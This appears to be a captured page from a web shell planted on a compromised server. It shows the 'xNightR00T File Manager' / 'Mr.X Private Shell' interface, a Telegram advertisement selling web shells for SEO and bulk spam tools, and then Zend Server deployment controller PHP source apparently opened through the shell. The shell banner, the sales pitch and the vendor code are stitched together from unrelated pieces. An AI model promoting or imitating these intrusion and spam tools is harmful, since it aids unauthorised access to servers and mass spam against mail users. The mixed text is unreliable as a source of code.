xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\Controller;

use Deployment\Validator\ApplicationBaseUrlNotExists;
use Audit\Db\Mapper;
use Zend\Uri\UriFactory;
use ZendServer\Mvc\Controller\WebAPIActionController;
use Zend\Mvc\Controller\ActionController,
    ZendServer\Log\Log,
    ZendServer\FS\FS,
    Zend\Validator,
    Deployment\Model,
    WebAPI,
    Audit\Db\Mapper as auditMapper,
    Audit\Db\ProgressMapper,
    Deployment\SessionStorage,
    Zsd\Db\TasksMapper,
    ZendServer\Exception;
use Deployment\Validator\ApplicationNameNotExists;
use Zend\View\Model\ViewModel;
use Deployment\InputFilter\Factory;
use Deployment\Application\Container;
use ZendServer\Set;
use Vhost\Entity\VhostNode;
use Zend\Http\PhpEnvironment\Response;
use ZendServer\Configuration\Manager;

class WebAPIController extends WebAPIActionController
{
    const DEMO_APP_NAME    = 'ZendDemoApp';
    const SAMPLES_APP_NAME = 'ZendSamplesApp';

    public function applicationCancelPendingDeploymentAction()
    {

        $this->isMethodPost();

        $wizardId = $this->getRequest()->getQuery('wizardId', 0);


        $sessionStorage = new SessionStorage($wizardId);
        try {
            $downloadId = $sessionStorage->getDownloadId();
            if ($downloadId) {
                $this->getLocator()->get('Deployment\Mapper\Deploy')->cancelDownloadFile($downloadId);
            }
        } catch (Exception $e) {
            // Do nothing
        }
        try {
            $path = $sessionStorage->getPackageFilePath();
            // delete the file
            if (file_exists($path) && is_writable($path)) {
                unlink($path);
            }

            // cancel the records in the DB
            $model   = $this->getDeploymentMapper();
            $baseUrl = $sessionStorage->getBaseUrl();
            if ($baseUrl) {
                $model->cancelPendingDeployment($sessionStorage->getBaseUrl());
            }
        } catch (Exception $e) {
            // Do nothing
        }

        return array();
    }

    /**
     * Download a deployment package file from a given URL to allow passing
     * it to the deployment mechanism later.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Deployment
     * @name deploymentDownloadFile
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_deploymentdownloadfile_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @param String url Required. Package URL.
     * @param String name Required. Package name.
     * @param String version Required. Package version.
     * @param Boolean override Optional. Determines whether the download file should be overridden in case it
     * 	is already being processed. Default to false.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function deploymentDownloadFileAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(array('override' => 'FALSE', 'version' => ''));
        $this->validateMandatoryParameters($params, array('url', 'name'));
        $url    = $this->validateUri($params['url'], 'url');

        $override = $this->validateBoolean($params['override'], 'override');

        $download = null;
        try {
            $download = $this->getDeploymentDbMapper()->findByUrl($url);
        } catch (Exception $e) {
            // download wasn't found, create new download task
            $this->getLocator()->get('Deployment\Mapper\Deploy')->downloadFile(null, null, $url,
                array('url' => $url, 'name' => $params['name'], 'version' => $params['version']));
        }

        // download was found
        if (!is_null($download)) {
            // check if needs to be overridden
            if ($override) {
                $this->getDeploymentDbMapper()->deleteByUrl($url);
                // the download task was found. override the task
                $this->getLocator()->get('Deployment\Mapper\Deploy')->downloadFile(null, null, $url,
                    array('url' => $url, 'name' => $params['name'], 'version' => $params['version']));
            } else { // throw exception
                throw new \WebAPI\Exception(_t("Download request already exists \'%s\'", array($url)),
                \WebAPI\Exception::DEPLOYMENT_DOWNLOAD_ALREADY_EXISTS);
            }
        }

        $this->setHttpResponseCode(Response::STATUS_CODE_202);
        return array();
    }

    /**
     * Check what's the status of the current download. Once status is "ok", the file is at downloaded status
     * 
     * @api
     * @method GET
     * @version 1.3
     * @param string url - the URL of the file that is being downloaded
     * @response {
      "apiKeyName": "Unknown",
      "method": "deploymentDownloadFileStatus"
      },
      "responseData": {
      "url": "http:\/\/updates.zend.com\/zpkaiv1\/index.php?name=Drupal\u0026version=\u0026zs=9.1.0\u0026php=7.1.3\u0026os=Ubuntu\u0026arch=x86_64\u0026uid=763300010e168627b596c7f6dd745e1a06a4f351",
      "status": "downloading",
      "path": "\/usr\/local\/zend\/tmp\/downloads\/downloads.zend.com\/drupal-7.33-php7.zpk",
      "message": "",
      "size": "3759193",
      "downloaded": "1853128"
      }
     * 
     * @return  
     */
    public function deploymentDownloadFileStatusAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters();
        $this->validateMandatoryParameters($params, array('url'));
        $url    = str_replace('%20', ' ', $params['url']);

        $directivesMapper = $this->getLocator()->get('Configuration\MapperDirectives'); /* @var $directivesMapper \Configuration\MapperDirectives */
        $autoDownload     = $directivesMapper->getDirective('zend_deployment.auto_download');
        $allowDownloading = $autoDownload->getFileValue();

        if (!$allowDownloading) {
            throw new \WebAPI\Exception(_t("Download failed. Zend Deployment `auto download` feature is off."),
            \WebAPI\Exception::DEPLOYMENT_AUTO_DOWNLOAD_DISABLED);
        }

        try {
            /* @var Deployment\Db\Mapper */
            $deploymentMapper = $this->getDeploymentDbMapper();
            $download         = $deploymentMapper->findByUrl($url);

            // reached final step - remove from db table
            if ($download['status'] == \Deployment\Db\Mapper::STATUS_OK || $download['status'] == \Deployment\Db\Mapper::STATUS_ERROR) {
                $this->getDeploymentDbMapper()->deleteByUrl($url);
            }
        } catch (Exception $e) {
            throw new \WebAPI\Exception(_t("Download failed. ").$e->getMessage(),
            \WebAPI\Exception::DEPLOYMENT_DOWNLOAD_NOT_EXISTS);
        }

        return array('download' => $download);
    }

    public function changeApplicationNameAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters();
        $this->validateMandatoryParameters($params, array('application', 'name'));

        $this->validateInteger($params['application'], 'application');
        $name = $this->validateString($params['name'], 'name');

        $factory    = new Factory();
        $factory->setDeploymentModel($this->getDeploymentMapper());
        $validators = $factory->createInputFilter(array());
        $validators->setData(array('displayName' => $name));
        $validators->setValidationGroup('displayName');

        if (!$validators->isValid()) {
            $validatorMessages = current($validators->getMessages());
            /// special handling for already-existing application name - studio requires us to return an 409 error
            if (isset($validatorMessages[ApplicationNameNotExists::APP_NAME_EXISTS])) {
                throw new \WebAPI\Exception(
                _t('Invalid userAppName parameter: %s', array(current($validatorMessages))),
                \WebAPI\Exception::APPLICATION_CONFLICT);
            }

            throw new \WebAPI\Exception(
            _t('Invalid userAppName parameter: %s', array(current($validatorMessages))),
            \WebAPI\Exception::INVALID_PARAMETER);
        }

        $deployedApplication = $this->getDeploymentMapper()->getApplicationById($params['application']);
        $this->getDeploymentMapper()->setApplicationName($deployedApplication->getApplicationId(),
            $deployedApplication->getBaseUrl(), $name);


        $deploymentMapper     = $this->getLocator('Deployment\FilteredAccessMapper'); /* @var $deploymentMapper \Deployment\FilteredAccessMapper */
        $deployedApplications = $deploymentMapper->getMasterApplicationsByIds(array($params['application']));
        $deployedApplications->setHydrateClass('\Deployment\Application\Container');

        $servers = array();
        foreach ($deployedApplications as $application) { /* @var $application \Deployment\Application\Container */
            $appId           = $application->getApplicationId();
            $servers[$appId] = $this->getDeploymentMapper()->getServersStatusByAppId($appId);
        }

        return array('applications' => $deployedApplications, 'servers' => $servers);
    }

    /**
     * Retrieve package and meta information about a deployed application.
     * This action provides the most complete list of information about a
     * single application we can provide.
     * 
     * @api
     * @method : GET
     * @version 1.3
     * @section Deployment
     * @name applicationGetDetails
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationgetdetails_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Integer application Required. An application ID.
     * @response {
            "applicationDetails": {
                "applicationInfo": {
                    "id": "11634",
                    "baseUrl": "http:\/\/<default-server>\/zend-web-api-client",
                    "appName": "zend-web-api-client",
                    "userAppName": "zend-web-api-client",
                    "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/__default__\/0\/zend-web-api-client\/1.6.4_11635",
                    "status": "deployed",
                    "healthCheck": "ok",
                    "isRollbackable": true,
                    "isRedeployable": true,
                    "servers": {
                        "applicationServer": [
                            {
                                "deployedVersion": "1.6.4",
                                "status": "deployed"
                            }
                        ]
                    },
                    "deployedVersions": {
                        "deployedVersion": "1.6.4",
                        "applicationRollbackVersion": "1.6.4"
                    },
                    "messageList": [],
                    "creationTime": "2017-04-19T14:14:53+03:00",
                    "creationTimeTimestamp": "1492600493",
                    "lastUsed": "2017-05-21T15:59:03+03:00",
                    "lastUsedTimestamp": "1495371543",
                    "isDefinedApplication": 0,
                    "vhostId": "5",
                    "pendingVersion": "1.6.6"
                },
                "applicationPackage": {
                    "prerequisitesValidation": "false",
                    "prerequisites": "<dependencies><required><directive><name>allow_url_fopen<\/name><equals>on<\/equals><\/directive><\/required><\/dependencies>",
                    "userParams": []
                },
                "servers": [
                    {
                        "NODE_ID": "0",
                        "NODE_NAME": "greg-desktop",
                        "JTIME": "1495370348.458",
                        "NODE_IP": "",
                        "STATUS_CODE": "0",
                        "REASON_STRING": "",
                        "IS_DELETED": "0",
                        "LAST_UPDATED": "1495631264",
                        "SERVER_FLAGS": "0",
                        "appId": "11634",
                        "status": 32,
                        "healthStatus": 81,
                        "serverName": "greg-desktop",
                        "version": "1.6.4",
                        "messages": " "
                    }
                ]
            }
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationGetDetailsAction()
    {
        $this->isMethodGet();
        $params = $this->getParameters();
        $this->validateMandatoryParameters($params, array('application'));

        $this->validateInteger($params['application'], 'application');

        $deployedApplication = $this->getDeploymentMapper()->getApplicationById($params['application']);
        if (!($deployedApplication instanceof Container)) {
            throw new \WebAPI\Exception(_t('Application \'%s\' does not exist', array($params['application'])),
            \WebAPI\Exception::APPLICATION_DOES_NOT_EXISTS);
        }

        $prerequisites = '';
        $metadata      = $deployedApplication->getPackageMetaData();
        if ($metadata instanceof \ZendDeployment_PackageMetaData_Interface) {
            $prerequisites = $metadata->getPrerequisites();
            $prerequisites = preg_replace('/[\s]+/', '', $prerequisites);
        }

        $servers    = $this->getDeploymentMapper()->getServersStatusByAppId($params['application']);
        $serversIds = $this->getServersMapper()->findRespondingServersIds();
        // if the server is not responding we exclude it from the list. Bug #ZSRV-9670
        foreach ($servers as $id => $serverData) {
            if (!in_array($id, $serversIds)) {
                unset($servers[$id]);
            }
        }

        return array(
            'application' => $deployedApplication,
            'prerequisites' => $prerequisites,
            'servers' => $servers,
        );
    }

    /**
     * Get the list of applications currently deployed (or staged) on the
     * server or the cluster and information about each application. If
     * application IDs are specified, this method will return information
     * about the specified applications. If no IDs are specified, this
     * method will return information about all applications on the server
     * or cluster.
     * 
     * @api
     * @method : GET
     * @version 1.2
     * @section Deployment
     * @name applicationGetStatus
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationgetstatus_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Array applications Optional. A list of application IDs. If specified, information will be returned
     * 	about the specific applications only. If not specified, information
     * 	about all applications will be returned. If a non-existing
     * 	application ID is provided this action will not fail but instead will
     * 	return no information about the specific application.
     * @param String direction Optional. One of ASC|DESC. Sets the ordering direction. Ordering is always by
     * 	User application name.
     * @response {
            "applicationsList": [
                {
                    "id": "3363",
                    "baseUrl": "http:\/\/<default-server>\/zend-web-api-client123",
                    "appName": "zend-web-api-client",
                    "userAppName": "zend-web-api-client123",
                    "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/__default__\/0\/zend-web-api-client123\/1.6.9_3450",
                    "status": "deployed",
                    "healthCheck": "ok",
                    "isRollbackable": true,
                    "isRedeployable": true,
                    "servers": {
                        "applicationServer": {
                            "1": {
                                "deployedVersion": "1.6.8",
                                "status": "deployed"
                            },
                            "3": {
                                "deployedVersion": "1.6.8",
                                "status": "deployed"
                            },
                            "2": {
                                "deployedVersion": "1.6.9",
                                "status": "deployed"
                            }
                        }
                    },
                    "deployedVersions": {
                        "deployedVersion": "1.6.9",
                        "applicationRollbackVersion": "1.6.8"
                    },
                    "messageList": [],
                    "creationTime": "2017-07-20T16:25:12+03:00",
                    "creationTimeTimestamp": "1500557112",
                    "lastUsed": "2017-07-20T16:24:53+03:00",
                    "lastUsedTimestamp": "1500557093",
                    "isDefinedApplication": 0,
                    "vhostId": "18",
                    "pendingVersion": "1.6.9",
                    "pendingVersionData": {
                        "app_version_id": "3450",
                        "app_id": "3363",
                        "task_descriptor_id": "3768",
                        "health_check_path": "",
                        "last_used": "1500557093",
                        "creation_time": "1500557093",
                        "is_stable": "0",
                        "node_id": "2",
                        "nodes": [
                            {
                                "NODE_ID": "2",
                                "NODE_NAME": "10.9.183.46",
                                "JTIME": "1500518481.958",
                                "NODE_IP": "10.9.186.171",
                                "STATUS_CODE": "0",
                                "REASON_STRING": "",
                                "IS_DELETED": "0",
                                "LAST_UPDATED": "1500557186",
                                "SERVER_FLAGS": "0"
                            }
                        ]
                    }
                }
            ]
        }
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationGetStatusAction()
    {
        $this->isMethodGet();

        // closing the session for writing will prevent session locking.
        $this->getServiceLocator()->get('Zend\Session\SessionManager')->writeClose();

        $params = $this->getParameters(array(
            'applications' => array(),
            'direction' => 'ASC'
        ));

        $applications = $this->validateArray($params['applications'], 'applications');
        foreach ($applications as $idx => $application) {
            $this->validateString($application, "applications[{$idx}]");
        }

        /* @var $deploymentMapper \Deployment\FilteredAccessMapper */
        $deploymentMapper = $this->getLocator('Deployment\FilteredAccessMapper');

        $deployedApplications = $deploymentMapper->getMasterApplicationsByIds($applications, $params['direction']);

        $deployedApplications->setHydrateClass('\Deployment\Application\Container');

        $keys = array();
        // collect the applications ids
        foreach ($deployedApplications as $appContainer) {
            $keys[] = $appContainer->getApplicationId();
        }

        $servers           = $this->getDeploymentMapper()->getServersStatusByAppIds($keys);
        $respondingServers = $this->getLocator('Servers\Db\Mapper')->findRespondingServers();

        return array(
            'applications' => $deployedApplications,
            'servers' => $servers,
            'respondingServersCount' => count($respondingServers),
        );
    }

    /**
     * Redeploy all applications currently registered in the system for the
     * specified servers. This action only sends the operation request and
     * will not wait on completion.
     * 
     * @api
     * @method POST
     * @version 1.3
     * @section Deployment
     * @name redeployAllApplications
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_redeployallapplications_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Array servers Optional. List of servers to perform the operation on. Default: All servers.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function redeployAllApplicationsAction()
    {
        $this->validateLicenseValid();
        $params = $this->getParameters(array(
            'servers' => array(0),
        ));

        $this->validateArray($params['servers'], 'servers');
        foreach ($params['servers'] as $key => $server) {
            $this->validateInteger($server, "servers[$key]");
        }

        try {
            /* @var $auditMessage \Audit\Container */
            $auditMessage = $this->auditMessage(
                auditMapper::AUDIT_APPLICATION_REDEPLOY_ALL,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED
            ); 
            
            $this->getDeploymentMapper()->redeployAllApplications($params['servers']);
        } catch (\ZendServer\Exception $e) {
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $deployedApplications = $this->getDeploymentMapper()->getMasterApplications();
        $deployedApplications->setHydrateClass('\Deployment\Application\Container');
        $this->setHttpResponseCode('202', 'Accepted');

        $appServers = array();
        foreach ($deployedApplications as $app) { /* @var $app \Deployment\Application\Container */
            $appServers[$app->getApplicationId()] = $this->getDeploymentMapper()->getServersStatusByAppId($app->getApplicationId());
        }

        return array('applications' => $deployedApplications, 'servers' => $appServers);
    }

    /**
     * Define an existing application within zend server. Defining an application
     * as a ZS app gives you the possibility to track better application performance,
     * monitoring events and app statistics.
     * 
     * @api
     * @method GET
     * @version 1.3
     * @section Deployment
     * @param string name Required. The name of the defined application
     * @param string baseUrl Required. The base URL on which the application runs
     * @param string version The version of the application
     * @param string healthCheck The "index" file of the app (e.g. index.php)
     * @param file logo The logo image of the application
     * @response {
            "applicationInfo": {
                "id": "23",
                "baseUrl": "http:\/\/deptest3:80\/",
                "appName": "",
                "userAppName": "deptestapp3",
                "installedLocation": "\/usr\/local\/zend\/var\/apps\/http\/deptest3\/80\/_docroot_",
                "status": "deployed",
                "activeTasks": [],
                "healthCheck": "ok",
                "isRollbackable": false,
                "isRedeployable": true,
                "servers": {
                    "applicationServer": [{
                        "deployedVersion": "1.0.0",
                        "status": "deployed"
                    }]
                },
                "deployedVersions": {
                    "deployedVersion": "1.0.0"
                },
                "messageList": [],
                "creationTime": "2018-08-19T13:34:41+03:00",
                "creationTimeTimestamp": "1534674881",
                "lastUsed": "2018-08-19T13:34:41+03:00",
                "lastUsedTimestamp": "1534674881",
                "isDefinedApplication": 1,
                "vhostId": null,
                "vhostIds": [],
                "isCanAttachVhosts": false,
                "pendingVersion": false,
                "pendingVersionData": false
            }
        }
     * 
     * @return  
     */
    public function applicationDefineAction()
    {
        $this->validateLicenseValid();
        $this->isMethodPost();

        $params = $this->getParameters(
            array(
                'name' => '',
                'baseUrl' => '',
                'version' => '',
                'healthCheck' => '',
                'logo' => ''
            )
        );
        
        $this->validateMandatoryParameters($params, array('name', 'baseUrl'));

        $name = $params['name'];
        if ($name) {
            $validator = new ApplicationNameNotExists(array(), $this->getLocator('Deployment\Model'));
            if (!$validator->isValid($name)) {
                throw new WebAPI\Exception(_t("Application named %s already exists", array($name)),
                WebAPI\Exception::INVALID_PARAMETER);
            }

            // display name validation
            $this->validateRegex($name, \Deployment\InputFilter\Factory::APPLICATION_DISPLAY_NANE_VALIDATION_REGEX,
                'name');
        }
        $baseUrl          = $params['baseUrl'];
        
        // fix the trailing slash. if it's only the host without the request,
        // keep the slash, if it has request uri, remove the slash.
        // (Generally this action is not needed when accessing from the GUI)
        if (preg_match('#https?://[^/]+$#i', $baseUrl)) {
            $baseUrl.= '/';
        } elseif (preg_match('#https?://[^/]+/(.+)$#i', $baseUrl)) {
            $baseUrl = rtrim($baseUrl, '/');
        }
        
        $validatorBaseUrl = new ApplicationBaseUrlNotExists(array(), $this->getLocator('Deployment\Model'));
        
        if (!$validatorBaseUrl->isValid($baseUrl)) {
            throw new WebAPI\Exception(_t("Application base url '%s' already exists", array($baseUrl)),
            WebAPI\Exception::INVALID_PARAMETER);
        }

        $version     = $params['version'];
        $healthCheck = $params['healthCheck'];
        $logo        = $params['logo'];

        // disable the network connection by directive setting
        if (!empty($logo) && $this->getNetworkEnableFlag()) {
            $theLogo = file_get_contents(urldecode($logo));
        } elseif (isset($_FILES['logo'])) {
            $theLogo = file_get_contents($_FILES['logo']['tmp_name']);
        } else {
            $theLogo = '';
        }

        try {
            /* @var $auditMessage \Audit\Container */
            $auditMessage = $this->auditMessage(
                auditMapper::AUDIT_APPLICATION_DEFINE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED, 
                array(
                    array(
                        'baseUrl' => $baseUrl, 
                        'name' => $name
                    )
                )
            );
            
            // check if the base url is already occupied by another application
            if (!is_null($this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl))) {
                throw new \Deployment\Exception(_t(': an application with the same Base URL already exists'));
            }
            
            // define the application
            $this->getDeploymentMapper()->defineApplication($baseUrl, $name, $version, $healthCheck, $theLogo);
            
            // get it back
            $deployedApplication = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl);
            if (is_null($deployedApplication)) {
                throw new \Deployment\Exception(_t('Define operation failed, the application was not created'));
            }
        } catch (\Exception $e) {
            Log::err("Deployment failed: ".$e->getMessage());
            if ($auditMessage) {
                $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                    array(array('errorMessage' => $e->getMessage())));
            } else {
                $this->auditMessage(auditMapper::AUDIT_APPLICATION_DEFINE, ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                    array(array('errorMessage' => $e->getMessage())));
            }
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception(_t('Deployment failed %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY,
            array(array(_t('Application name: %s', array($deployedApplication->getUserApplicationName()))),
            array(_t('Base URL: %s', array($deployedApplication->getBaseUrl())))));

        Log::info("Application has been deployed");

        $serversIds = $this->getServersMapper()->findRespondingServersIds();
        $this->getTasksMapper()->insertTasksServers($serversIds, TasksMapper::COMMAND_APPS_LIST_UPDATED);
        $this->getLocator()->get('MonitorRules\Model\Tasks')->syncMonitorRulesChanges($serversIds);
        $this->setHttpResponseCode('202', 'Accepted');

        $servers   = $this->getDeploymentMapper()->getServersStatusByAppId($deployedApplication->getApplicationId());
        $viewModel = new ViewModel(array('application' => $deployedApplication, 'servers' => $servers));
        $viewModel->setTemplate('deployment/web-api/application-info');
        return $viewModel;
    }
     
    /**
     * Deploy a new application to the server or cluster. This process is
     * asynchronous, meaning the initial request will wait until the
     * application is uploaded and verified, and the initial response will
     * show information about the application being deployed. However, the
     * staging and activation process will proceed after the response is
     * returned. You must continue checking the application status using the
     * applicationGetStatus method until the deployment process is complete.
     * 
     * @api
     * @method POST
     * @version 1.2
     * @section Deployment
     * @name applicationDeploy
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_applicationdeploy_method.htm
     * @permissions Full
     * @editions Zend Server
     * @type 
     * @param File appPackage Required. The application package file. The content type for the file must be
     * 	application/vnd.zend.applicationpackage.
     * @param String baseUrl Required. The base URL to which the application will be deployed. This must be
     * 	an HTTP URL.
     * @param Boolean createVhost Optional. Deprecated in 1.6 Create a virtual host based on the base URL (if the
     * 	virtual host wasn't already created by Zend Server). You may only
     * 	create a simple virtual host using this parameter, not an SSL virtual
     * 	host. The default value is FALSE.
     * @param Boolean defaultServer Optional. Deploy the application on the default server. The provided base URL
     * 	will be ignored and replaced with '&lt;default-server&gt;'. &#160; If
     * 	this parameter and createVhost are both used, createVhost will be
     * 	ignored. The default value is FALSE.
     * @param String userAppName Optional. Free text for a user defined application identifier. If not
     * 	specified, the baseUrl parameter will be used.
     * @param Boolean ignoreFailures Optional. Ignore failures during staging if only some servers report failures.
     * 	If all servers report failures the operation will fail in any case.
     * 	The default value is FALSE, meaning any failure will return an error.
     * @param Hashmap userParams Optional. Set values for user parameters defined in the package. Depending on
     * 	package definitions, this parameter may be required. Each user
     * 	parameter defined in the package must be provided as a key for this
     * 	parameter.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function applicationDeployAction()
    {
        $this->validateLicenseValid();
        $this->isMethodPost();
        $params = $this->getParameters(
            array(
                'ignoreFailures' => 'FALSE',
                'createVhost' => 'FALSE',
                'defaultServer' => 'FALSE',
                'userParams' => array(),
                'userAppName' => '',
            )
        );

        $this->validateMandatoryParameters($params, array('baseUrl'));
        $this->validateHostByUrl($params['baseUrl'], 'baseUrl');

        // fixed bug #ZSRV-14114, when the baseUrl contains * as host and default server is FALSE - convert the baseUrl to <default-server>
        if (strstr($params['baseUrl'], '*')) {
            $params['defaultServer'] = 'TRUE';
        }

        $fileTransfer = new \Zend\File\Transfer\Adapter\Http();
        $uploaddir    = $this->getGuiTempDir();
        $fileTransfer = $this->setFileTransfer();

        $deployedApplication = $this->deployApplication($params, $fileTransfer->getFilename());

        Log::info("Application has been deployed");
        $this->setHttpResponseCode('202', 'Accepted');

        $servers   = $this->getDeploymentMapper()->getServersStatusByAppId($deployedApplication->getApplicationId());
        $viewModel = new ViewModel(array('application' => $deployedApplication, 'servers' => $servers));
        $viewModel->setTemplate('deployment/web-api/application-info');
        return $viewModel;
    }

    /**
     * @param array $validatorMessages
     */
    protected function validateAppnameConflict($validatorMessages)
    {
        //appName conflict validation begins only on api version >= 1.9
        return true;
    }

    /**
     * @param array $params
     * @param string $filename
     */
    private function deployApplication($params, $filename)
    {
        $baseUrl = $params['baseUrl'];
        $this->validateBaseUrl($params['baseUrl']);

        $ignoreFailures = $this->validateBoolean($params['ignoreFailures'], 'ignoreFailures');
        $createVhost    = $this->validateBoolean($params['createVhost'], 'createVhost');
        $defaultServer  = $this->validateBoolean($params['defaultServer'], 'defaultServer');
        $userParams     = $params['userParams'];
        $this->validateUserParams($params['userParams']);

        $userAppName = $params['userAppName'];
        $this->validateString($params['userAppName'], 'userAppName');

        $factory    = new Factory();
        $factory->setDeploymentModel($this->getDeploymentMapper());
        $validators = $factory->createInputFilter(array());
        $validators->setData(array('displayName' => $userAppName));
        $validators->setValidationGroup('displayName');

        if (!$validators->isValid()) {
            $validatorMessages = current($validators->getMessages());
            /// special handling for already-existing application name - studio requires us to return an 409 error
            if (!$this->validateAppnameConflict($validatorMessages)) {
                throw new \WebAPI\Exception(
                _t('Invalid userAppName parameter: %s', array(current($validatorMessages))),
                \WebAPI\Exception::APPLICATION_CONFLICT);
            }

            throw new \WebAPI\Exception(
            _t('Invalid userAppName parameter: %s', array(current($validatorMessages))),
            \WebAPI\Exception::INVALID_PARAMETER);
        }

        // if the user application name is empty set it to the baseUrl, by default
        if (!$userAppName) {
            $userAppName = $baseUrl;
        }

        // defaultServer = TRUE 	=> replace server name with <default-server>
        if ($defaultServer) {
            $baseUrl = $this->getDeploymentMapper()->convertUriToDefaultServer($baseUrl);
        }
        Log::debug('BaseUrl is '.$baseUrl);
        // @todo: Is component loaded?
        // @todo: Verify has target? Check if zend server is responding?

        $application = $this->getDeploymentMapper()->getApplicationByBaseUrl($baseUrl);
        // @todo: Check if application isBeingDeployed or isBeingRolledback
        // In case it does, set status 202 (Accepted) in response and return application
        // @todo: Check if application isBeingRemoved, return exception if it does
        // @todo: Check if application already exists
        if ($application) {



            // @todo: Check if application status is not 'NOT_EXISTS'

            /**
             * @link https://il-jira/browse/ZSRV-9090 added specific message for applications from define suggestions box
             */
            if ($application->getAppStatus() != \ZendDeployment_Application_Interface::STATUS_INTEGRATION_CANDIDATE) {
                Log::err('Application with baseUrl '.$baseUrl.' already exists');
                throw new WebAPI\Exception(
                _t("This application has already been installed"), WebAPI\Exception::BASE_URL_CONFLICT
                );
            } else {
                $this->getDeploymentMapper()->removeIntegrationCandidateApplication($application->getApplicationId());
            }
        }

        $deploymentPackage = $this->generatePackage($filename);
        $this->getDeploymentMapper()->validatePackage($filename);
        $userParams        = $this->processUserParams($userParams, $deploymentPackage);
        $this->validateRequiredParams($baseUrl, $deploymentPackage, $userParams); // as of some issues with ZF2 B4, we validate that all mandatory params were passed and are not empty
        $form              = $this->validateParams($userParams, $baseUrl, $deploymentPackage);

        if ($createVhost) {
            Log::notice('\'createVhost\' parameter is deprecated and may become unusable in future versions');

            if (Manager::isIIS()) {
                throw new WebAPI\Exception('Web site cannot be created on IIS',
                    WebAPI\Exception::MALFORMED_REQUEST);
            }
            
            if (strpos($baseUrl, 'https://') === 0) {
                throw new WebAPI\Exception('HTTPS or SSL secure virtual hosts may only be created using vhost management actions',
                WebAPI\Exception::BASE_URL_CONFLICT);
            }
        }

        $zendParams = $this->getDeploymentMapper()->createZendParams($userAppName, $ignoreFailures, $baseUrl,
            $createVhost, $defaultServer, false);

        $deploymentPackage = $this->getDeploymentMapper()->storePendingDeployment(
            $filename, $userParams, $zendParams
        );

        if (file_exists($filename)) {
            unlink($filename);
        }

        try {
            $prerequisites          = $deploymentPackage->getPrerequisites();
            $configuration          = \Prerequisites\Validator\Generator::getConfiguration($prerequisites);
            $configurationContainer = $this->getLocator()->get('ZendServer\Configuration\Container');
            $configurationContainer->createConfigurationSnapshot(
                $configuration->getGenerator()->getDirectives(), $configuration->getGenerator()->getExtensions(),
                $configuration->getGenerator()->getLibraries(), $configuration->getGenerator()->needServerData());
        } catch (\Exception $e) {
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            throw new WebAPI\Exception('Package prerequisites could not be validated: '.$e->getMessage(),
                                        WebAPI\Exception::UNMET_DEPENDENCY);
        }
        if (!$configuration->isValid($configurationContainer)) {
            $this->getDeploymentMapper()->cancelPendingDeployment($baseUrl);
            $messagesFilter = new \Prerequisites\MessagesFilter();
            $messages       = $messagesFilter->filter($configuration->getMessages());
            Log::err(print_r($this->flattenMessagesArray($messages), true));
            throw new WebAPI\Exception(PHP_EOL.implode(PHP_EOL, $this->flattenMessagesArray($messages)),
                                        WebAPI\Exception::UNMET_DEPENDENCY);
        }

        try {
            /* @var $auditMessage \Audit\Container */
            $auditMessage = $this->auditMessage(
                auditMapper::AUDIT_APPLICATION_DEPLOY,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(
                    array(
                        'Application name' => $userAppName,
                        'userParams' => $userParams, 
                        'zendParams' => $zendParams,
                    ),
                ),
                $baseUrl
            );
            
            /* @var Deployment\Mapper\Deploy */
            $deployMapper = $this->getLocator()->get('Deployment\Mapper\Deploy');
